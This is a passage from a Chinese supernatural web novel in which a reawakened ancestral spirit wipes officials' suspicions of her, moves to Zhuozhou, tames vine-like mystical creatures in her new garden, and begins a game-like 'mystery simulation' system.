    【虚妄】第一次踏足现实，但在祂的心里，怕是梦境比现实更好，那些在禁区里陷入永眠的人，说不定来源于祂的好心。”


    “而函夏境内的诞生的那些古老神秘...祂们怎么会不知道人类的脆弱？”


    “那位不会想伤害我们。”


    南家祖灵，唯二在世界上留下血脉后嗣的神秘，唯一以人类身份在世上行走过的神秘，必然不会是他们认为般，苏醒时会对世界和人类造成难以预估的伤害。


    但他的这番说辞，在会议上遭到否决。


    ......十年前，九年前，八年前...今年年初。


    自【世界之音】诞生后的每一年，高层都会在年初会议上，预估函夏神秘苏醒时的应对方案。


    其他高层为了以防万一，在许久以前就安排好了将要前往危险中心的人选。


    “看，天亮了。”


    顷刻，黑暗褪去，世界回到白昼包裹的白日。


    黎期浅笑，看了一眼言严。


    和南赴栢不同，他和言严九死一生。


    南家祖灵不会主动伤害人类，说不定还会在苏醒后尽快离开现实世界。


    但走到祂面前的人类，仍然需要直面神秘的威严。


    除神秘血裔外。


    见神秘本体者，无一生还。


    函夏为以防万一，派出他和言严，期待祂聆听人类的请求不要伤害人类。


    但作为“联系”的他们，走到祂面前的他们，无命可活。


    他和言严都清楚，只有南赴栢那个真正的幸运儿一无所知。


    他，他们，南姓世家子弟，怕是从未想过普通人直面他们的祖灵，有何下场吧。


    黎期想多欣赏欣赏窗外的风景。


    但很快，车停了。


    令人窒息的压迫感扑面而来。

 31.扫尾

    南音笙一出血谭就感觉不对。


    太安静了。


    早在战国时期，秦王就派人看守血谭，那么就算到现代，血谭所在地也应该是函夏禁区。


    她本以为会遇见密密麻麻的枪口，或者被导弹锁定。没想到目之所及，只有仿佛紧急撤离后的空旷和狼藉。


    她不动，血谭禁区就如定格般，凝固在这块时间的夹缝里。


    南音笙准备往前走走，离开血谭能量场范围，之后用【隐秘之石】继续待在人群。


    监天局肯定知道血谭里有东西跑出来，但这和【南音笙】有什么关系。


    样貌一改，能量一模拟，谁也不知道谁是谁。


    可没走两步，一点黑色迅速从远处拉进，直冲冲往她的方向狂奔。


    不过几秒，黑点变成了一辆破败的小汽车，直愣愣停在血谭范围外。


    车门打开。


    南音笙看见南赴栢从里冲出，随后嘭地一声关上车门，活像是和车有仇。


    他还两手并用，一手一边抵住车门，脸上气急败坏，嘴里嚷嚷着“走走走，我自己去。”


    南音笙能理解南赴栢看不见远处的她，也能理解他大概在担心车内的人。


    但是如果不出意外，在【隐秘之石】生效前她自带压迫。


    南赴栢是怎么做到无视威胁，在浸满危险的区域里“搞笑”的？


    他的所作所为未免太过不合时宜。


    她知道他傻白甜，有点呆，但没想到已经......


    想到这，南音笙感觉心情更糟糕了。


    无形的能量以她为圆心旋转，视线范围内的饱和度开始降低，重现的白日变得阴沉。


    世界好像薄纸，可以随意摆弄作画。


    “搞笑”的南赴栢停下动作，他手下颤动的门也一齐安静。


    南音笙看见他还没动作，一步一步走到他身旁。


    “南赴栢，你在做什么？”


    “......我...”


    重压之下，南赴栢感觉自己的肩背上有千斤重担，不自觉低下头，但是眼里泛着白光，看不清地面。


    在祖灵气息的包裹下，一种窒息感油然而生。


    他的脑子突然就乱了，一时间不知道作何反应。


    南音笙看着智商堪忧的后辈。


    脑子里不断对比着现在的南家人和战国时期的差距。


    恍惚间，南昙美到发光又野心勃勃的模样在她眼前闪现。


    于是她抚上南赴栢的脸颊，强迫他弯腰抬头与自己对视。


    透过他的眼睛，南赴栢能看见浅白的灵魂在身体里发抖，但紧握的双拳出卖了他的不甘。


    他的灵魂没有与她对视，但是蓬勃的野心从未熄灭。


    一种奇异的亲切感从南赴栢的身上散发，南音笙原本的火气不自觉消弭。


    南音笙摩挲着他的侧脸，在死寂中舒展眉心。


    但下一刻，她再次面露不虞。


    脑海里突然闯进一股带着无奈的柔声催促：快操控这具身体，抹灭身体里弱小到完全可以忽略不计的灵魂。


    孩子，你需要行走在世间的容器。


    这是世界的声音。


    世界催促的声音。


    糟糕的心情下，身体里的能量外散涌动，天色渐暗，破旧的小汽车发出即将报废的咯咯声。


    藏在暗处的影子似乎在舞动，但仔细看去又只是普通的影子，而不是等待黑暗降临后，企图借助夜色为所欲为的狂徒。


    世界发出玻璃皲裂的脆响。


    它薄弱到不可思议。


    南音笙瞬间明悟。


    如果继续以现在的面目待在这里，世界会破裂。


    她需要尽快启用【隐秘之石】，或者尽快找到供她在世界上行走的容器。


    难怪监天局这么担心神秘来到现实世界。


    这个世界很弱，更何况只能在世界上生存的人。


    他们恍若尘埃，飞一吹就四散飘零。


    南音笙利用感知扫了眼车里面色苍白的两人，压回了有打开倾向的汽车门。


    她堪称温柔的告知两人，“你们来的不是时候。”


    “回去吧。”


    更加暗沉的色彩拂过【小汽车】，在能量的拖动下，【小汽车】携着车内的两个消失在血谭所在的谜廊。


    他们走后，南音笙放下钳制住南赴栢的手，任他摔晕在地。


    现在没有能清醒发现她身份的人了。


    【隐秘之石】发挥作用，弥散的能量回拢，超越人类审美的面庞变得清秀普通。


    清晨的无人之地，南音笙看了眼倒下的南赴栢，转身离开。


    ......


    南音笙本来以为自己离开不久，但是看了眼时间，才发现已经过去两天了。


    好在这两天监天局太忙，而她约好的笔录在明天，所以无人发现她的离开。


    南音笙暂时抛下这堆杂事，直奔卧室，一觉睡到凌晨，这是她来到这个世界后睡得最好的一觉。


    繁杂的思绪似乎都睡没了。


    但也只是似乎。


    睡醒后的南音笙走在客厅，抬头看见破破烂烂的天花板。突然很想笑。


    在三秦，她的异常早就引起了言严等人的警惕，只不过监管局最近遇到的事情太多，没有时间调查。


    但无论如何，在言严他们的警惕中，许多事做起来不方便。


    她倒是可以什么都不做，好好活下去，但系统不可能同意她一直休闲。


    所以三秦这个地方，大概率待不久了。


    南音笙揽镜自照，看着自己熟悉又陌生的眉眼，冲着镜中的自己笑了笑。


    家里的神秘衍生物都放进了【牛车】，大门锁死，去往涿州的航班已经订好，一切准备就绪。


    她打算回到上辈子生活了二十多年的“家乡”了。


    只不过在这之前，还有最后的收尾。


    ……


    一路来到监管局，南音笙融入自然，悄无声息的在安静的建筑间穿行。


    工作人员大概率都去处理【夜灵】苏醒的后续了，零星遇见的几人步履匆匆，眉目凝重。


    南音笙只是看了两眼，直奔言严所在的地点。


    感知中言严和破旧小车上的另一人待在一起，范围属于监管局研究部医疗区。


    也许是为了方便他们休息，医护和研究员都没在病房，只有监控不停运转。


    这到是方便了她。


    分出一点能量屏蔽监控，南音笙走到言严床边，看着在病床上也皱着眉，时不时看工作机的人。


    能量和【隐秘之石】的双重作用下，言严完全没感知到病房里多出了一个大活“人”。


    而监管局的防御对她来说如同虚设。


    “言副。”


    南音笙轻轻呼唤，闻声的人下意识抬头看向身侧。


    【隐秘之石】作用显现，满目沉思的言严逐渐变得迷茫。


    有关于南音笙的怀疑如午时晨雾，消散得无声无息。


    分出更多一点能量，结合【隐秘之石】，现实世界有关于【南音笙身份有疑】的报告也悄然抹去。


    几位正副部长和司长的案头空出一截，但是当他们注意到后眼里却是显而易见的迷茫。


    【这里是不是有什么重要的文件？】


    【不，没有任何资料丢失】


    浅显的怀疑在无形的能量下轻易消失，但根深蒂固的警惕和恐惧却需要她亲自动手。


    除去


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    言严，还有一个周祈安。


    南音笙如来时般，无声离开病房。


    刚走没几步，丝丝缕缕的恐惧就从病房里漫出，最后又在空中消失，潜进不知名的的空间。


    抬步的动作顿住。


    南音笙第二次打开病房门。


    沉睡的言严旁边，长相耐看的人类男性紧闭双眼，似乎陷入梦魇。


    但是他散发的恐惧，却指向她。


    他发现她了。


    【隐秘之石】发动前，病床上的人刷得睁开双眼，清透明亮，不同于他这个年纪的的眼神让南音笙怔愣一瞬。


    “您好。”


    黎期感受到危险，趁着空隙睁眼起身，礼貌问好一气呵成。


    “这位南小姐，有什么需要帮助吗？”


    南音笙没理他，只是看着眼前的人从清澈到迷茫，眨眼间忘记闯入者。


    但下一秒，懵懂的眼骤然清澈，一眼发现处于“隐身”状态的她。


    职业素养让黎期迅速警觉，看见南音笙的第一眼就想按下医护铃唤来工作人员。


    嘴里还不忘转移闯入者但是注意，“你是谁？查房？”


    南音笙用能量敲向他动作的手，还抽空看了眼旁边睡得香甜的言严。


    “……”人类的参差。


    要不还是把他打晕吧。


    手掌突然的发麻刺痛让黎期彻底清醒，瞬间意识到自己处在危险中。


    阅读过的资料在他脑海里条条筛过，最后定格在【南音笙】的档案上。


    他为什么会特地标注【南音笙】？


    疑惑一闪而逝。


    【她是南家人，标红她的档案很正常】


    逻辑自洽。


    黎期主观上失去了警惕，但无意识间全身紧绷。


    “南小姐？你这是？”


    “你是谁？”南音笙反问。


    看面前人身体和意识不匹配的样子，她担心继续隐没他的记忆和警惕，会让人出问题。


    只能用其他方法。


    “我是司仪部在职人员，南小姐来找南顾问？他不在这层楼。”


    “名字。”


    黎期装傻，藏在被子里的另一只下意识寻找医护铃，“什么。”


    南音笙再次打掉他的手，好脾气的发问，“你的名字。”


    研究部虽然有医疗区，但是和正常医院不同，病房外没有医生信息，病床床尾也不会有病人的信息表。


    黎期拖延时间，假装思考之际，南音笙分出一点能量，起草了一份保密协议。


    【____不会透露任何有关于南音笙的消息】


    内容很简单，但是她唤来了【君主许诺】，只要盖上印章，面前的人就无法透露她来过的消息。


    黎期深吸一口气，“南小姐，我姓吴，您叫我小吴就行。”


    南音笙看了看他成熟稳重的面庞，一身材质上佳，贴身显形的衣着......


    她也浅浅吸口气，“最后一遍，你叫什么名字。”


    【君主许诺】出现在她手里，面前之人如果不说名字，她就直接在他身上盖章。


    被盖上印记的活物会受到印章操控，直至印记消失。但没有她的准许，印记永远不会主动褪色，到时候面前之人只能听从她的命令。


    黎期知道识时务者为俊杰，但【隐秘之石】消除了他的大半敌意，南音笙的话语也过于和蔼，让他感觉自己还能垂死挣扎。


    “我是吴为，南小姐有什么事吗。”


    意识感知能轻易分辨出真假。


    而面前之人所说为假。


    南音笙失去了耐心，印章抵上面前人的额头。


    烫黑金的【允】字镌刻进黎期的灵魂，又在南音笙的要求下隐匿无踪。

 32.赵鸢

    言严，黎期，周祈安…


    南音笙干脆利落地处理完可能发现她身份的隐患，堂而皇之地出现在监管局大门口。


    “你好，我来……”


    大厅前台的赵鸢第一个看见南音笙，第三五步走到她身前，语气里满是活力，“小南顾问，来录笔录嘛！”


    “组长他们都在忙，不介意的话让我来？”


    正常来说，大厅的实习队员都没有权限接触活的高危神秘衍生物，也不能参与它们的回收和后续处理，以此来避免污染。


    但是她隶属夏历司。


    记录、整理、查找异常和神秘衍生物，以及神秘本身的情报，都是夏历司的工作。


    而某些知识沾上了神秘的气息，难免会变得危险起来。


    “知识有毒”


    这句话在夏历司内代代相传。


    也因此，夏历司高层常年待在保护性封锁内。


    而加入夏历司的新人，也做好了接触更高权限知识，然后失去自由的准备。


    作为补偿，他们确定入职的那一刻就拥有比之其他部门人员更高的权限。


    赵鸢还担心南音笙会以为自己受到怠慢，补充道，“组长他们真的很忙，至少下午才能抽出空。我看小南顾问这么早就来了，如果不介意，就先录笔录？早录完早轻松嘛。”


    “而且小南顾问的笔录最后都会交给组长他们整理，不会出问题的！”


    这正合南音笙的意。


    “劳驾。”


    “小南顾问要去看看南顾问吗？”


    录好笔录，赵鸢轻轻挠头，“南顾问晕倒了，他在这边除了你也没有亲人，感觉一个人住院挺可怜的。”


    南音笙抬眸，看着面前一派天真的年轻人，顺着她的话提问，“他怎么了？”


    “不知道啊。”赵鸢蹙眉，下意识避开南音笙的眼睛，桌下的双手因紧张而不自觉抓紧衣角。


    “今天昨天早上，局里有一个特别警告提示，但是具体是什么我不清楚，只知道这个警告响起后，各部门都在安排人撤离。南顾问也被叫走了，下午才抬回来。还进了隔…特别监护病房。”


    赵鸢还比许多人都知道的更多一点，也明白南家子弟的含金量，所以想从南音笙这套些情报。


    她自以为隐蔽地吸口气给自己打气，“南…小南顾问知道昨天早上发生了什么吗？”


    “昨天？我不知道。”


    南音笙说完反问，“南赴柏之前就受伤了，为什么还要出任务？而且他再次昏迷，为什么没人通知我？”


    她当然知道情况。


    当时独自留下昏迷的南赴柏，就是为了引走监管局的注意，而言严等人不通知她，全因警惕。


    但赵鸢不知道，她见到南音笙的第一眼就想要亲近，此时被想要靠近的人质问，呐呐不敢言。


    “抱歉，那个，这个，是局里的安排，南顾问肯定没事…”


    “那我现在去见他。”


    赵鸢彻底不知道该说什么了，好一会才挤出一句抱歉。


    南音笙摇摇头，直奔机场。


    赵鸢的反应青涩迟钝，显然没有学习过专业的套话技巧，还会不经意间吐出消息。


    看来，她此次套话的行为完全是自作主张。


    一位知道很多，大概率和高层有联系，但还没学会保守秘密，天真烂漫的年轻人……


    没有威胁。


    被南音笙抛在脑后的赵鸢在空旷的大厅来回踱步，满怀愧疚。


    没坚持多久，她还是拨打了夏历司司长的电话。


    不到三秒，电话接听。


    “弟弟，我做了件蠢事。”


    赵鸢将自己试探的情况一五一十交代清楚，语气里有些无措。


    “小鹉，小南顾问肯定意识到昨天发生事情了。而且南顾问这件事…小南顾问会不会在生气？现在该怎么办…”


    电话另一头的赵鹉放下手里的资料，抬眼看了眼办公室里的南赴柏。


    他们二次进入谜廊找到南赴柏后，出于谨慎，让他入住了整个监管局警戒程度最高的夏历司司长办公处。


    同时，这里也是保护性封锁效力最强的地方，赵鹉的生活区域与办公室相连。南赴柏的休息环境称得上舒适。


    此时这位南顾问刚从睡梦中醒来，眼神朦胧，无内外伤，除去心理压力大外，健康到让人欣慰。


    “小鸢…姐，我不告诉你是因为这件事不适合你知道，擅自透露监管局内部信息，你的处分会在三天内下达。”


    赵鹉揉了揉眉心，温润平和的眉眼间透出些许疲惫，眼角新增的几缕皱纹无声诉说近日的艰辛。


    “南小姐那里…我会去和南顾问讲，别再做多余的事了。”


    电话那头传来带着委屈的回应。


    赵鹉叹口气，抬眼看见因听见自己名字而观望的南顾问。


    他心一动，遵循直觉开口，“你感觉到什么异样？”


    “什么？我不是说过了吗小鹉，小南顾问好像生气了。她被气走……”


    说着说着，赵鸢突然意识到不对，因着急而出走的智商悄然回笼。


    与南音笙交谈的点点滴滴，在赵鸢意识里一帧一帧重播，但是主人公的面庞仿佛陇上一层黑纱，朦胧而神秘。


    赵鸢锤了锤自己的头，抑制住突如其来的眩晕，努力打破自己对南音笙的滤镜，在直觉的指引下，说出了主观意识忽略的问题。


    “小南顾问一直没有表情，她好像没有什么情绪啊…”


    “她是不是和南顾问关系不好，但为什么我会感觉她在生气……”


    她在生气吗？她不是没有情绪吗？


    她真的没有情绪吗？


    “为什么，小鹉…我有点晕。”


    “我不记得了，小鹉…”


    “我不记得小南顾问聊天的样子了…”


    “但，那个，她…好像妈妈。”


    赵鹉察觉到不对，突然提声大喊，“赵鸢！”


    “嗯？嗯，怎么？”


    “赵鸢，别想！你今年多大，你想想自己今年多大！”


    “赵鸢！”


    “啊？啊，我…我49岁啊，不不，我前天才满2


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    0…我…”


    “我20了啊，怎么了小鹉？”


    电话里传来咚的一声震响，赵鹉失去了与胞姐的联系。


    他脸色一变，急匆匆往门口走，走到一半面色发白地返回，翻出落下的手机。


    嘟嘟两声，电话接通。


    “秦部长，小鸢又失去意识了，她在大厅，您快去看看。”


    “知识…知识，这次诱因和知识无关，这次是记忆偏差，她把南音笙认成妈妈。”


    “还有…还有…”


    因相依为命的亲人出事而发热的大脑逐渐冷却，赵鹉脑子里回想起有关于南音笙的信息。


    她是南家人，他们自然都会了解。


    但是为什么在忆忆里，他对南音笙的关注超过了本该有的程度，与南顾问等同。


    “还有，劳烦贵部杨璟查看一下南音笙的信息。”


    在直觉的引导下，他没有说明理由，简单交代几句就挂断了电话。


    “没事吧。”旁观一切又帮不上忙的南赴柏上前，他最开始也任职三秦监管局，只不过后来去了涿州，因此对三秦夏历司司长的经历有所了解。


    赵鹉摇摇头，坐回最开始的位置，拿起资料的手还在微微颤抖。


    南赴柏等他平复完心情才开口，“我要回涿州了。”


    ……


    涿州机场


    南音笙提带着几件衣服和一堆证件落地。没走几步，就看贴满各种小信息的公示牌。公示牌旁边还有一位穿着短袖短裤的年轻人。


    穿着长袖外套的行人偶尔路过，大多看几眼就走，而且一半的视线都贡献给那位不怕冷的青年。只有两三人围着公示牌操作手机，似乎在按照上面的信息打电话。


    南音笙凑近看了两眼，发现了上面有房产中介的电话。


    白底黑字的小广告——【优质房源出售、租赁…详情请联系王先生：电话175××××7751】


    经过黎期的启发，黄牛被她盖上了章。


    只要她找好房子，老黄牛会驮着家里的神秘衍生物找来。


    她当然可以用更方便的方法获得房产，一如三秦的别墅。


    但思来想去，南音笙既不想继续欠系统，又想试试自己挑选住所的快乐。


    所以......


    嘟嘟…


    “喂，优加房售中心，有事快说？”


    不耐烦的男声从手机里传来，脾气渐差的南音笙直接挂断电话。


    手机接听的声音不小，靠在公告栏上的青年应该是听见了，扭过头看着南音笙。


    “姑娘，找房吗？无中间商赚差价，可拎包入住。”


    他似乎还有正常的感温系统，站直身体抖抖腿，双手交叉搓了搓泛着凉气的小臂，“我就是房主，别墅和平层都有，可以便宜租给你，只要满意今天就能签合同，现租现付，概不赊账。”


    南音笙没有问他为什么知道自己想租别墅，反问，“卖房吗？”


    青年愣了两秒，随后呲起大牙乐道，“卖！付全款！”


    “现在就走？你想先看哪套！”

 33.家

    “我也没办法，但是穷得只剩下房子了，不卖房饭都吃不起。”


    “姑娘你放心，这些房子本来都是用来自己住，安全和舒适度有保障，而且都是两年内的新房。就算有什么不满意的地方，我这里也有装修公司的电话，随装随换。”


    南音笙叫了一辆出租车，衣着清凉的青年上车就开始巴拉巴拉，想要卖出房子的意愿十分强烈。


    如果不是南音笙能感应到他说的都是真话…他的嘴脸，完全可以将“骗子”具现化。


    谁家卖房子，连打车都要买家自己出钱？


    “那个，惭愧惭愧，我是陈承。”青年说到一半，想起还没自我介绍，“姑娘，你心也太大了，我都没说我是谁，你就敢跟着走，独身在外，还是要注意安全。”


    南音笙瞥了他一眼，嗯了一声。


    冷淡的态度并没有打消陈承的热情，他只是感慨一句您心真大，又开始介绍即将看的房产。


    “宜腾居在四环，这里的房屋面积基本都不大，就算是联排也比外环路的面积小。其实我更推荐六环“空园”周边的房子，面积大，环境好，清净怡人，关键是还便宜…”


    这些话南音笙左耳进右耳出。


    她上辈子在涿州生活许久，当然知道单论房屋舒适度和面积而言，外环性价比更高，但是她也有选择“宜居腾”的理由。


    安康曾经来言：


    【涿州四环钱童胡同尾，有一家名叫“古传醇酒”的店】


    【那位女士似乎很期望南小姐光临】


    她怀疑【那位女士】是安，因此想去看看。


    而宜腾居距离钱童胡同很近，她定居于此，偶尔路过，都是再正常不过的事。


    陈承见南音笙反应平平，终于意识到推销其他房子不明智，叭叭叭地大讲宜腾居联排的优点。


    “这里虽然小，但每栋房都腾出了空间做小花园，隐蔽性不错，哪怕小花园里全是土也没人知道。宜腾居四周都有景点，没事的时候可以多走走。物业有私人服务，初来乍到如果对周边不熟，或者需要聘请家宅员工，一个电话的事儿，很方便……”


    “半年前刚买房那会儿，A1-07邻家都还没人，我也半年没去住过了，不知道有没有新住户。不过姑娘你放心，房子每周都有人打扫，随时能住…”


    南音笙一直静静听着，直到出租车停在宜腾居外，陈承下车刷脸。


    门卫看见陈承，一副见了鬼的震惊。


    南音笙：“……”


    虽然她确定陈承没说谎，但是门卫的反应很让人有探究欲。


    原本她不那么好奇，现在都想问问门卫为什么是这个表情。


    门卫的专业素养挺好，震惊只在一瞬间，收起表情后就放行了。


    出租车驶了几分钟，在路人好奇观望中停下。


    南音笙对环境要求不高，看房的主要目的就是确认小花园能容下【牛车】，而周围的邻居不能发现。


    而陈承的话里也没有夸大，小花园约莫五十平，周围是铁质漆铜的栏杆，栏杆很高，还有密密麻麻的植物把栏杆围得密不透风，外界的视线很难透进来。


    “这些是常绿植物？过几个月会不会枯？”南音笙不认识这种植物，伸手去摸了摸。


    指甲盖大小的细密藤叶上覆满白霜般的浅色绒毛，抹开后，叶子表面有种胶质感。比起真正的植物，更像是永生花。


    “这是...之前没有这些藤蔓，我打电话问问。”电话接通的间隙，陈承扒开栏杆上的植物，示意南音笙看，“小花园本来就有围墙，只是栏杆做的高。”


    藤蔓和密叶下，伪砖结构的墙体依旧□□，但是已经有了藤蔓攀爬和腐蚀的痕迹。南音笙不了解爬墙植物的特性，但直觉这栋别墅周围的藤叶攀附能力过强了。


    陈承打了几通电话都没人接，表情逐渐不耐，终于在第九通电话拨通后得到对面人的回应。担心南音笙也不耐烦，他直接开了外放。


    电话那头传来中年男子略带敷衍的声音，“不好意思老板，手机开了静音，错过了电话，您这边有事儿？”


    陈承显然不想和他废话，直奔主题，“别墅这边的小花园哪来的藤蔓？墙都被遮住看不见了。”


    “藤蔓？”对面的人似乎也不知详情，不过很快回答，“这是社区统一发的种子，说是净化空气，美化环境。这些藤蔓对环境要求还挺高，只有几家人种活。”


    “老板不想要这些藤蔓？我明天有空，可以来清理。不过老板，这个月的工资需要提前...”


    陈承直接挂断电话，抬头看着南音笙，“这些藤蔓还挺好看，你要留着吗？不想留我可以找人清理。”


    南音笙分出感知接触细叶表面，细小的密集绒毛在感官中化作柔韧的细钢，底层的绿叶是柔软但长满微小绿眼睛的活物。


    这些藤蔓植物不是真的植物，他们是会伪装的神秘衍生物。


    遭受南音笙感知的一簇细叶睁开闭上的密集眼睛，沿着感知回望南音笙，又在看见她的瞬间枯萎。


    枯萎的叶上还有密密麻麻的小洞，那是爆炸的眼睛。


    “怎么枯了？”背对藤叶的陈承转过头就看见那半墙枯萎植物，疑惑之余伸手去摘。


    结果叶子上数不清的细小破洞让他一阵惊慌，下意识将其扔远。


    “这些植物可能闹虫子，要不我还是找人清了吧。”


    “不用。”南音笙心情很好，“我喜欢这些植物，现在就可以签合同。”


    【老黄牛】应该不介意有“同伴”，而有她坐镇，这些藤蔓状的神秘衍生物掀不起风浪，有任何问题，她都可以加餐。


    上一次吞噬【山水图】，她就获得了能够将物品水墨画的能力，并且耗费的能量基本可以忽略不计。所以现在，南音笙对遇见神秘衍生物抱有十二分的渴望。


    更何况这些藤蔓早在她搬来前就存在，以后有任何问题，她都可以推给这些藤蔓植物，顺便撇清自己的嫌疑。


    这座居所简直为她量身定做。


    ......


    虽然双方交易的意愿都很强，但是前前后后还是忙了一个下午，好在今晚南音笙就能直接入住。


    说她心大的陈承直到她在合同上签名，才知道她的名字是南音笙。


    他像个刚接触社会的学生，还是家道中落那种。


    但是南音笙无意探究他的过去，付款后交换了电话。不出意外，今后都没有交集。


    老黄牛拖着车架，趁着夜色带着家里的神秘衍生物们来到新的住所。


    在【君主许诺】和神秘气息的双重压迫下，家里的东西一


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    个比一个乖巧，一个比一个能装。


    书装死，牛装傻，藤蔓完全不知道家里都是些什么品种的“长者”。


    而且没有脑子的藤蔓还没有耐心。


    这才第一天。


    夜深人静时，南音笙没开灯，心情不错地翻看着【雅南书】，突然就听见小花园传来窸窸窣窣的响动，像是游走在草丛里的蛇群。


    别墅采用了隔音材料，发出这么大的响动，藤蔓已经很努力了。


    只不过小花园是老黄牛的地盘，它真的没意见？


    这么想着，南音笙放下书，在黑暗中前往小花园。


    月夜的庭院静逸悠远，不知名的花丛在黑暗中散发出淡淡的光晕，很美，很有意境。


    如果不是老黄牛故做恐惧，几百斤的身体缩在小小的一角，并且眼底偶尔闪过狡黠。


    如果不是原本还算空旷的小花园被藤蔓铺满，在白日里“闭目养神”的小眼睛全部睁开，月色中呈现出深浅不一的密集圆圈，像是串联在一起的绿色青蛙卵...


    她应该会有对月饮酒的意趣。


    这玩意有点恶心，她都想放弃食用了。


    老黄牛看见她来，哞了一声，闻者落泪，仿佛是在用声音诉说自己的委屈。


    经过这段时间的相处，它已经意识到南音笙还是它的好主人雅南，只要它兢兢业业拉车，完全不用担心生命安全。


    只不过感受过“老主人”身上的神秘气息后，它越来越谨慎，只敢在有挡箭牌的时候放肆。


    而挡箭牌·藤蔓，一无所知。


    它听见老黄牛的哞叫后更兴奋了，一股脑的往南音笙的方向爬。


    它是想杀死南音笙的，但是长久以来的经验告诉它，只有有人死亡，它就必须搬家。


    所以它放弃了杀生，只想创造新的异常，让面前的人转化为非人类。


    但时候它们都是黑暗的信徒，互帮互助，争取成为神秘衍生物中的翘楚。


    无形的墙挡住了四面八方袭来的藤蔓。


    南音笙看着藤蔓在能量墙上分泌的绿色汁液和团团掉落的眼睛...


    她意识到自己真的下不了口。


    在这么一团东西里找到它的核心然后食用，还不如吞噬老黄牛让她更容易接受。


    于是【君主许诺】再次被她召来。


    能量化作金色印泥，迅速定格在茫然的藤蔓之上，随后，这些图案又在命令下隐没。


    “闭眼。”


    南音笙对它下达第一个命令。


    不知道发生了什么的神秘衍生物在惊恐中阖上密密麻麻的眼睛。


    “缩回去，不要接触栏杆和墙以外的空间。”


    努力控制自己的藤蔓失去所有反抗能力，“身体”不受控制地蜷缩回拢，最后紧紧贴上小花园四周的墙壁和栏杆，原本和土地接触的空间干净得像是整理过一样。


    更令诡惊恐的是，它在其他小花园里的分株也从地里钻出来，和它眼睛贴眼睛，死死黏在一起，努力远离栏杆和墙壁之外的空间。


    “以后你就负责挡视线，不能伤人，禁止传播污染，收敛起息，有什么异常就告诉老黄牛。”


    南音笙看着齐齐扭动细叶，转向老黄牛方向的藤蔓，唇角微翘。


    “以后，老黄牛就是你的上级。”

 34.神秘模拟

    家里的小东西全都“乖巧听话”，南音笙很满意。


    没了后顾之忧，她休息几天后就心情愉悦地出门了。


    宜腾居距离钱童胡同很近，近到只需步行十几分钟，就能从西式的建筑群到充满人间气的胡同口。


    南音笙缓步走着，路人和各店主人的视线下意识追随。


    现代社会，任谁在路上遇到一位气质典雅，姿态优美，仿佛从仕女图中走出来的女性，都会忍不住多瞅几眼。


    而南音笙虽然意识到自己的回头率过高，但长久的习惯也不是说改就能改。


    为避免引来不必要的麻烦，她随意逛了会，回到别墅后打开了【隐秘之石】，在低存在感的氛围下返回钱童胡同。


    直奔胡同尾巷的“古传醇酒”。


    然而这看起来只是家普通的卖酒店。


    十来个大粗缸摆在店里，内里的酒水是很普通的白酒。


    店内用竹制的台子做前台，顺便将大部分装酒水的店面和客人打酒的区域分割开。


    南音笙看了店里的布局，看了酒，看了客人和工作人员，没发现有别于“正常”的存在。


    而且这家店入口的墙上挂着营业和卫生许可，其法人为男性，与安康口中的【那位女士】相差甚远。


    有那么一瞬间，南音笙怀疑安康在钓鱼。


    但他没有能力让聊天记录消失。而且“钓”她没有意义。


    更大可能，安康如他自己所说的一样，只是中间的传话人，什么也不知道。


    南音笙不信邪，围着“古传醇酒”这家店看了又看，直到日落西山，皱着眉返回家中。


    之后的几天，一有空她就去店里“坐坐”，但店内一切如常。


    两周过去，南音笙终于失去耐心。


    家里的神秘衍生物们求生意志惊人，连没脑子的藤蔓也学会了看脸色，在南音笙心情欠佳时假装永生花，任由装作普通动物的老黄牛啃食细叶。


    每当这时候，心情不好的食物链顶端就会忍不住想笑。


    “你们乖一点，我出门一趟，归期不定。”照例欣赏完老黄牛的园丁剪枝，南音笙走近家里最活泼的两个神秘衍生物。


    “无论谁被人类发现，或者把家里弄的一团糟，回来我就会加餐。”


    “到时候煮牛肉火锅，你们俩荤素搭配。”


    大口嚼细叶的老黄牛僵住。


    南音笙瞥了它一眼，“你是藤蔓的上级，权利越大责任越大。”


    说完，头也不回的回到卧室。


    ……


    “合作者，欢迎回来。”


    在虚无之地睁开眼前，系统的问好先一步传来。


    南音笙回以微笑，“好久不见，系统，给我讲讲系统的第二版块吧。”


    休息这么久，到点工作了。


    系统心情应该不错，虽然还是冰冷的电子音，但语速明显加快，“很高兴合作者主动模拟。”


    “系统第二版块：神秘模拟，截取历史任意时间点，投放任意以现实世界历史存在生物为模板的模拟对象，通过进化天赋，制造伪神秘。”


    “系统第二版块每次模拟可花费100能量点抽取三种天赋，或花费100能量点选择蓝色品质及以下的一种天赋，上限三种。选择天赋会直接带入模拟。”


    “合作者需要操控模拟生物升级天赋，引导天赋进化，改变天赋直至天赋超越金品质，成为权能。”


    “伪神秘，即拥有权能却非自然诞生的神秘。经过时间的沉淀，伪神秘终将超越真正的神秘。”


    “一般情况下，神秘拥有核心权能一种，辅助核心全权能一种，因此推荐合作者慎重引导天赋升级，并且尽可能兼顾三种天赋。”


    听着系统介绍，南音笙想到之前系统说的，新模板需要大量能量支持。


    她模拟许久，所持有的最高品质天赋不过是【午夜梦回（金）-五级】，堪堪进化为权能。


    而模拟神秘板块中一次需要两到三种天赋超越金色品质，所需的能量可想而知地巨大。


    “由于神秘模拟板块耗时不可计，现实世界与模拟世界时间比为1s：∞，合作者无需担心现实世界异常情况。”


    “系统第一板块：人生模拟在合作者第一次使用第二板块后，将按照不定比例的时间推进，合作者任何时间想要进行人生模拟，都可以选择现存的血裔作为模拟人物。”


    系统认为，南音笙已经对南家人有了感情，所以选择摸你对象时才会犹豫。因此调整了人生模拟的时间比例，让其自行发展。


    以后南音笙能量不足，完全可以选择没有接触过的南家人为模拟人物。相信摒除对熟悉南家人的愧疚后，南音笙会做得更好。


    南音笙表面上没什么反映，心里却下意识想到从青丝变为白发的南昙，如果人生模拟中的时间自行前进，下一次模拟，南昙可能已经化为一捧黄土。


    也许在她死前，还会想为什么本该踏足人间的母亲不见了踪影。


    以南昙的敏感多思，大概率会认为是自己曾经的请求——【昙能否随您离人间】造成了这种结果。


    “......”


    “好，系统，我知道了。开始神秘模拟吧。”


    她不认为现在去找南昙是个好主意，就像人到了年纪总会不断失去，南昙经历过母亲和胞弟的离世，也该经历与南音笙的离别。


    她足够成熟，虽然会多思多想，但依旧会过得很好。


    如果她与【无名】一样，成为了非人生物，那么两千多年后的现实世界，他们说不定会以朋友的身份相聚。


    至于现在...其实她也害怕离别。


    所以，与其被思念反复磋磨，不如一开始就断得干净。


    【模拟开始】


    【是否花费100能量点抽取天赋】


    “以前的天赋能用吗？”


